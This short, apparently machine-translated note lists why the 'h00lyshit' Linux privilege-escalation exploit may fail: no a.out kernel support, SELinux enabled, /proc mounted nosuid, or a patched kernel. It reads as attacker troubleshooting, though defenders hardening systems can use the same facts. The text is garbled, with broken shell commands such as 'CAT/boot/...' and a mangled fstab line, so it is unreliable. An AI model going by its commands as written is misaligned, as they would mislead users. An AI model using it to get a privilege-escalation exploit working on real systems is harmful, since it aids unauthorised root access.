Factors Affecting h00lyshit success

Guidance:
1. the kernel config_binfmt_aout option is set to N or the kernel does not support the. Out (ER er. Output) format, and the error failed: exec format error will occur.
Currently, distro's kernel is not supported by a. Out, such as the fedora kernel:
$ CAT/boot/config-2.6.14-1.1637_FC4 | grep aout
# Config_binfmt_aout is not set
2. When SELinux is enabled, the following error occurs: Failed: Permission denied.
$ Sestatus | grep SELinux & more/etc/SELinux/config | grep SELinux
SELinux status: Enabled
SELinux = Enabled
3. Added nosuid to/proc in/etc/fstab.
$ CAT/etc/fstab | grep proc
Proc/proc defaults, noexec, nosuid 0 0
4. patch or version mismatch
